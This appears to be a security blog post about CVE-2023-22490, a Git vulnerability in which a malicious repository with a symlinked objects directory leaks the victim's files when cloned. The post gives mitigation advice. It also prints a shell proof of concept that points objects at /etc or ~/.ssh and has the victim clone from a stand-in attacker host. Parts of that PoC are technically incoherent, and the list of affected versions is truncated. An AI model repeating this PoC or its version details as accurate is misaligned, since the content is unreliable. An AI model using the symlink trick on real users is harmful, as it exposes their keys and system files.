Git is the backbone of almost all modern software development. Most developers rely on Git every day, trusting it to keep code safe and make teamwork easy. But even the tools we trust can have flaws. One such flaw, CVE-2023-22490, was a dangerous vulnerability present in Git before version 2.39.2 (and many earlier long-term releases). In this post, we’ll break down what happened, how the exploit worked, the risk it posed, and how you can protect yourself.

What is CVE-2023-22490?

This vulnerability affects several versions of Git, a widely-used version control system. The flaw let an attacker trick Git into leaking arbitrary files from your computer if you cloned a specially-prepared malicious repository.

Impacted Versions
Git before:

2.30.8

_Full details from the Git Security Advisory_.

Local Clone Optimization

- Normally, when you clone a local repository (e.g., with the source as /path/to/repo), Git uses a shortcut: instead of copying all the objects, it hardlinks or symlinks to save space.

Git Fails to Check the objects Directory Properly

- Git does check that the objects directory inside the repository doesn’t contain sneaky symlinks, but it missed checking if the objects directory *itself* is a symlink.

Specially Crafted Malicious Repositories

- An attacker could prepare a repository where the .git/objects directory is a symbolic link pointing to a sensitive part of a victim’s filesystem (e.g., /etc, /home/user/.ssh).

Cloning Over a Non-local Transport

- This exploit *shouldn’t* work over networked clones (https://, git://). However, Git made a mistake and would sometimes still use the local clone optimization code, even over some "non-local" transports.

Leaking Arbitrary Files

- When the victim clones the malicious repository, Git would copy files pointed to by the symlink into the repository’s working directory. The attacker could then read sensitive files when the victim pushed data or through follow-up steps, similar to CVE-2022-39253.

Suppose a malicious repo is set up like this

cd mal_repo/.git
ln -s /etc objects    # 'objects' is now a symlink to /etc

When the victim clones this repo, Git might treat files in /etc as if they were Git objects, copying them into the clone or making them accessible through the repository.

Below is a proof-of-concept for *educational purposes*

# Attacker sets up malicious repo
git init evil-repo
cd evil-repo/.git

rm -rf objects           # Remove legitimate 'objects' directory
ln -s /home/user/.ssh objects    # Point 'objects' to a target directory

# Add a "blob" object manually referencing a sensitive file path
echo "Hello" > ../../../../../../home/user/.ssh/id_rsa
cd ../..
git add .
git commit -m "init evil"

# Now attacker serves this repository (via 'git-daemon', SSH, or HTTP)

When a victim runs the following (on a vulnerable Git)

git clone attacker-host:evil-repo my-clone

Depending on configuration and luck, secret files (like the SSH key file) from the victim’s system could appear in their cloned repository, and could then be exfiltrated.

References & Further Reading

- Git Security Advisory GHSA-2hv6-jgh6-5959
- Original CVE-2023-22490 Details at CVE.org
- Similar Issue: CVE-2022-39253

You can see the patched code in this commit.

How the patch works:
Git now checks not only the contents of the objects directory, but also the objects directory itself, and skips optimizations when using non-local transports.

1. Do not clone untrusted repositories with --recurse-submodules

The bug is mostly exploitable via submodules or nested cloning. Because submodules can point anywhere, a malicious .gitmodules could reference a repository that triggers the flaw.

Only proceed if submodule URLs are to trusted sources

# Safe workflow
git clone https://example.com/some-repo.git
cd some-repo
cat .gitmodules   # Check for suspicious URLs
git submodule update --init    # Only if safe

Conclusion

CVE-2023-22490 is a reminder that even the most trusted tools can have subtle vulnerabilities. By exploiting symbolic links and a gap in Git’s local clone checks, attackers could trick users into exposing files from their own machines. While the risk was real, the fix is simple: update your Git client now. If you’re stuck with an older version, clone suspicious repositories with care, check all submodule URLs, and avoid automated submodule recursion.

Security is a shared responsibility — keep your tools up to date, review those pull requests, and don’t trust every repo on the internet, no matter how cool it looks!

Sources:

- Git Security Advisory: GHSA-2hv6-jgh6-5959
- Patch commit on GitHub
- CVE official entry

Timeline

Published on: 02/14/2023 20:15:00 UTC
Last modified on: 02/23/2023 22:24:00 UTC